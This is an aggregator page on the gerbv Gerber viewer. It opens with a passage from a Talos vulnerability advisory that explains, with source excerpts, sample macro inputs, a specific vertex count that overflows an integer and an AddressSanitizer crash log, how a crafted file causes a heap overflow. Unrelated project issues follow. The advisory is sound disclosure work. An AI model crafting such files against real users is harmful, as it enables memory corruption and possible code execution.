Also the specification states that "The maximum number of vertices is 5000", which is controlled by the modified number 2. So, depending on the number of vertices, the length of this primitive will change.

In the parse_rs274x function, when an AM command is found, the function parse_aperture_macro is called [5]. Let's see how this outline primitive is handled there:

gerbv_amacro_t *
parse_aperture_macro(gerb_file_t *fd)
{
    gerbv_amacro_t *amacro;
    gerbv_instruction_t *ip = NULL;
    int primitive = 0, c, found_primitive = 0;
    ...
    int equate = 0;

    amacro = new_amacro();

    ...        
    /*
     * Since I'm lazy I have a dummy head. Therefore the first 
     * instruction in all programs will be NOP.
     */
    amacro->program = new_instruction();
    ip = amacro->program;
    
    while(continueLoop) {
        
        c = gerb_fgetc(fd);
        switch (c) {
        ...
        case '*':
            ...
            /*
             * Check is due to some gerber files has spurious empty lines.
             * (EagleCad of course).
             */
            if (found_primitive) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                if (equate) {
                    ip->opcode = GERBV_OPCODE_PPOP;
                    ip->data.ival = equate;
                } else {
                    ip->opcode = GERBV_OPCODE_PRIM;                         // [10]
                    ip->data.ival = primitive;
                }
                equate = 0;
                primitive = 0;
                found_primitive = 0;
            }
            break;
        ...
        case ',':
            if (!found_primitive) {                                         // [8]
                found_primitive = 1;
                break;
            }
            ...
            break;
        ...
        case '1':
        case '2':
        case '3':
        case '4':
        case '5':
        case '6':
        case '7':
        case '8':
        case '9':
        case '.':
            /* 
             * First number in an aperture macro describes the primitive
             * as a numerical value
             */
            if (!found_primitive) {                                         // [7]
                primitive = (primitive * 10) + (c - '0');
                break;
            }
            (void)gerb_ungetc(fd);
            ip->next = new_instruction(); /* XXX Check return value */      // [9]
            ip = ip->next;
            ip->opcode = GERBV_OPCODE_PUSH;
            amacro->nuf_push++;
            ip->data.fval = gerb_fgetdouble(fd);
            if (neg) 
                ip->data.fval = -ip->data.fval;
            neg = 0;
            comma = 0;
            break;
        case '%':
            gerb_ungetc(fd);  /* Must return with % first in string
                                 since the main parser needs it */
            return amacro;                                                  // [11]
        default :
            /* Whitespace */
            break;
        }
        if (c == EOF) {
            continueLoop = 0;
        }
    }
    free (amacro);
    return NULL;
}

As we can see this function implements a set of opcodes for a virtual machine that is used to perform arithmetic operations, handle variable definitions and references via a virtual stack, and primitives.
Let's take an outline primitive definition as example:

%AMX0*4,0,3,1,1,1*%

As discussed before, %AM will land us in the parse_aperture_macro function, and X0 is the name for the macro. The macro parsing starts with 4 [7]: this is the primitive number, which is read as a decimal number until a , is found [8]. After that, each field separated by , is read as a double and added to the stack via PUSH [9]. These form the arguments to the primitive. When * is found [10], the primitive instruction is added and with % the macro is returned.

For reference, these are the prototype for the macro and the program instructions:

struct amacro {
    gchar *name;
    gerbv_instruction_t *program;
    unsigned int nuf_push;
    struct amacro *next;
}

struct instruction {
    gerbv_opcodes_t opcode;
    union {
        int ival;
        float fval;
    } data;
    struct instruction *next;
}

Back to parse_rs274x, when an AD command is found, the function parse_aperture_definition is called [6], which in turn calls simplify_aperture_macro when the AD command is using a template.

static int
simplify_aperture_macro(gerbv_aperture_t *aperture, gdouble scale)
{
    ...
    gerbv_instruction_t *ip;
    int handled = 1, nuf_parameters = 0, i, j, clearOperatorUsed = FALSE;   // [18]
    double *lp; /* Local copy of parameters */
    double tmp[2] = {0.0, 0.0};
    ...
    /* Allocate stack for VM */
    s = new_stack(aperture->amacro->nuf_push + extra_stack_size);           // [12]
    if (s == NULL) 
        GERB_FATAL_ERROR("malloc stack failed in %s()", __FUNCTION__);
    ...
    for(ip = aperture->amacro->program; ip != NULL; ip = ip->next) {
        switch(ip->opcode) {
        case GERBV_OPCODE_NOP:
            break;
        case GERBV_OPCODE_PUSH :
            push(s, ip->data.fval);                                         // [13]
            break;
        ...
        case GERBV_OPCODE_PRIM :
            /* 
             * This handles the exposure thing in the aperture macro
             * The exposure is always the first element on stack independent
             * of aperture macro.
             */
            switch(ip->data.ival) {
            ...
            case 4 :                                                        // [14]
                dprintf("  Aperture macro outline [4] (");
                type = GERBV_APTYPE_MACRO_OUTLINE;
                /*
                 * Number of parameters are:
                 * - number of points defined in entry 1 of the stack + 
                 *   start point. Times two since it is both X and Y.
                 * - Then three more; exposure,  nuf points and rotation.
                 */
                nuf_parameters = ((int)s->stack[1] + 1) * 2 + 3;            // [15]
                break;
            ...
            }

            if (type != GERBV_APTYPE_NONE) { 
                if (nuf_parameters > APERTURE_PARAMETERS_MAX) {             // [16]
                        GERB_COMPILE_ERROR(_("Number of parameters to aperture macro (%d) "
                                                        "are more than gerbv is able to store (%d)"),
                                                        nuf_parameters, APERTURE_PARAMETERS_MAX);
                        nuf_parameters = APERTURE_PARAMETERS_MAX;
                }

                /*
                 * Create struct for simplified aperture macro and
                 * start filling in the blanks.
                 */
                sam = g_new (gerbv_simplified_amacro_t, 1);
                sam->type = type;
                sam->next = NULL;
                memset(sam->parameter, 0, 
                       sizeof(double) * APERTURE_PARAMETERS_MAX);
                memcpy(sam->parameter, s->stack,                            // [17]
                       sizeof(double) *  nuf_parameters);

For this advisory, all the AD commands has to do is utilize the macro that we just created, without special parameters. Let's consider the following aperture definition:

%ADD09X0*

For AD to use the template, it has to execute the template in the virtual machine. To this end, a virtual stack is allocated at [12] to handle parameters.

As previously discussed, our program contains a serie of GERBV_OPCODE_PUSH instructions (pushing the numbers 0,3,1,1,1 to the stack, at [13]) and a GERBV_OPCODE_PRIM instruction for primitive 4 (outline), executed at [14].

At [15] the number of vertices is taken from the second field in the stack (as per specification) and the number of parameters for the primitive is calculated. At [16] the code makes sure that nuf_parameters is not bigger than APERTURE_PARAMETERS_MAX (102), otherwise nuf_parameters gets limited to APERTURE_PARAMETERS_MAX. Finally at [17] the parameters are copied from the stack into the newly allocated sam structure.

The problem in this whole logic is how integers are treated, since calculations at [15] and [17] can be forced to overflow.
The variable nuf_parameters is signed int. As an example (valid for both 32 and 64 bit systems) let's assume that the number of vertices as taken from the file is 1073741977. The calculation at [15] will set nuf_parameters to (1073741977 + 1) * 2 + 3 = 0x80000137, which is negative. This will allow to skip the check at [16], leaving nuf_parameters set to 0x80000137. At [17], sizeof(double) will be 8, so 8 * 0x80000137 will wrap around and results in 0x9b8.

The type of the sam structure is:

struct gerbv_simplified_amacro {
    gerbv_aperture_type_t type;
    double parameter[102];
    struct gerbv_simplified_amacro *next;
} *

Since sam->parameter has a size of 0x330 bytes and the size argument to memcpy is 0x9b8, we'll write out-of-bounds of the structure pointed by sam (stored in heap). Note that the contents of s->stack are controlled by the attacker since that contains the macro parameters (taken from file and stored as IEEE754 encoding). This can lead to code execution.

Crash Information

# gerbv -x png -o out aperture_macro_parameters_intoverflow.poc
=================================================================
==9184==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf23037b8 at pc 0xf798e90e bp 0xffa1f368 sp 0xffa1ef38
WRITE of size 2088 at 0xf23037b8 thread T0
    #0 0xf798e90d  (/usr/lib/i386-linux-gnu/libasan.so.4+0x7790d)
    #1 0x566a224d in simplify_aperture_macro src/gerber.c:2051
    #2 0x566a4017 in parse_aperture_definition src/gerber.c:2272
    #3 0x5669eaaf in parse_rs274x src/gerber.c:1637
    #4 0x56691fd1 in gerber_parse_file_segment src/gerber.c:243
    #5 0x56697b57 in parse_gerb src/gerber.c:768
    #6 0x566adb73 in gerbv_open_image src/gerbv.c:526
    #7 0x566ab520 in gerbv_open_layer_from_filename_with_color src/gerbv.c:249
    #8 0x5661724b in main src/main.c:929
    #9 0xf6b82f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    #10 0x565d51b0  (gerbv+0x161b0)

0xf23037b8 is located 0 bytes to the right of 824-byte region [0xf2303480,0xf23037b8)
allocated by thread T0 here:
    #0 0xf79fcf54 in malloc (/usr/lib/i386-linux-gnu/libasan.so.4+0xe5f54)
    #1 0xf6f05568 in g_malloc (/usr/lib/i386-linux-gnu/libglib-2.0.so.0+0x4e568)
    #2 0x566a4017 in parse_aperture_definition src/gerber.c:2272
    #3 0x5669eaaf in parse_rs274x src/gerber.c:1637
    #4 0x56691fd1 in gerber_parse_file_segment src/gerber.c:243
    #5 0x56697b57 in parse_gerb src/gerber.c:768
    #6 0x566adb73 in gerbv_open_image src/gerbv.c:526
    #7 0x566ab520 in gerbv_open_layer_from_filename_with_color src/gerbv.c:249
    #8 0x5661724b in main src/main.c:929
    #9 0xf6b82f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.4+0x7790d)
Shadow bytes around the buggy address:
  0x3e4606a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e4606b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e4606c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e4606d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e4606e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x3e4606f0: 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa
  0x3e460700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e460710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e460720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e460730: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e460740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9184==ABORTING

Credit

Discovered by Claudio Bozzato of Cisco Talos.

https://talosintelligence.com/vulnerability_reports/

Timeline

2021-11-03 - Vendor Disclosure
None - Public Release

TALOS-2021-1405 - Gerbv_RS-274X_aperture_macro_outline_primitive_integer_overflow_vulnerability.txt

Publish windows binary of 2.8.0

After 2.8.0 has been released, a manually verified windows binary should be published on the GitHub release page and referenced on gerbv.github.io.

Moreover the README.md should contain a link to the downloads.

Please a more common way of tagging versions

Thanks for working further on gerbv!

I'd like to request a wish for further releases.
Please use a common kind of tagging and versioning of release tarballs.

Currently (in contrary to the SF releases) the tagged versions are named gerbv-2-8-0-RC-1 or gerbv-2-7-1-RELEASE. That makes it unnecessary hard to adjust the watch logic from an effort perspective within Debian which end in manual version tracking. Doing a tagging this way is quite uncommon.

So I hereby like to request to use the one of the common ways to tag versions line 2.8.0-rc1 or also prefixing a letter 'v' so v2.7.1 could be used. That would help a lot to let me use the watch daemon on Debian which informs me about new upstream versions.

Unsupported commands in Zuken CR-8000 Excellon files

Hi there,

for compatibility testing of gerbonara I have been collecting a number of sample gerber files from different ECAD packages. I noticed that gerbv produces several warnings on Excellon files generated by a recent Zuken CR-8000:

** (process:855931): CRITICAL **: 01:11:04.912: Undefined code 'A' (0x41) found in header at line 7 in file "/home/jaseg/proj/gerbolyze/gerbonara/gerbonara/tests/resources/zuken-emulated/Drill/8seg_Driver__routed_Drill_thru_nplt.fdr"
** (process:855931): WARNING **: 01:11:04.915: Unrecognised string "ATC,ON" in header at line 7 in file "/home/jaseg/proj/gerbolyze/gerbonara/gerbonara/tests/resources/zuken-emulated/Drill/8seg_Driver__routed_Drill_thru_nplt.fdr"
** (process:855931): CRITICAL **: 01:11:04.915: Unsupported M06 (stop optional) code found at line 9 in file "/home/jaseg/proj/gerbolyze/gerbonara/gerbonara/tests/resources/zuken-emulated/Drill/8seg_Driver__routed_Drill_thru_nplt.fdr"
** (process:855931): CRITICAL **: 01:11:04.915: Unsupported M06 (stop optional) code found at line 18 in file "/home/jaseg/proj/gerbolyze/gerbonara/gerbonara/tests/resources/zuken-emulated/Drill/8seg_Driver__routed_Drill_thru_nplt.fdr"
** (process:855931): CRITICAL **: 01:11:04.915: Unsupported M06 (stop optional) code found at line 23 in file "/home/jaseg/proj/gerbolyze/gerbonara/gerbonara/tests/resources/zuken-emulated/Drill/8seg_Driver__routed_Drill_thru_nplt.fdr"

I can't share the original files for copyright reasons, but I have re-created an excellon file with the same features here:

drill.zip

The two things gerbv stumbles over are:

  • CR-8000 uses a vestigial ATC,ON statement in the header. This is the cause for the first two warnings. This statement can be safely ignored.
  • CR-8000 (at least in the configuration tested) emits a "M06" before every tool change. These, too, can be safely ignored.

I would suggest adding code that just ignores the ATC statement without any warnings, and downgrading the CRITICAL warning on the M06 to a regular warning, or disabling them altogether in CR-8000 files. CR-8000 files can be uniquely identified (out of the 15 or so CAD tools from which I have sample files) by that they are the only ones using ATC or DETECT in their header.

gerbv should be able to detect when a project file is passed as argument without option --project="..."

From what I could see gerbv currently expects that each argument that is not an option is a valid gerber/drill file. The problem is that if you just configure to open .gvp with gerbv it fails to do so because your OS (I'm on Windows btw.) doesn't know about the needed --project="..." option. You currently have to manually modify the command line used to open your project file, which may or may not be easy depending on your OS.

Another problem with projects: The file init.scm that seems to be required for opening a project isn't packaged with the builds.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.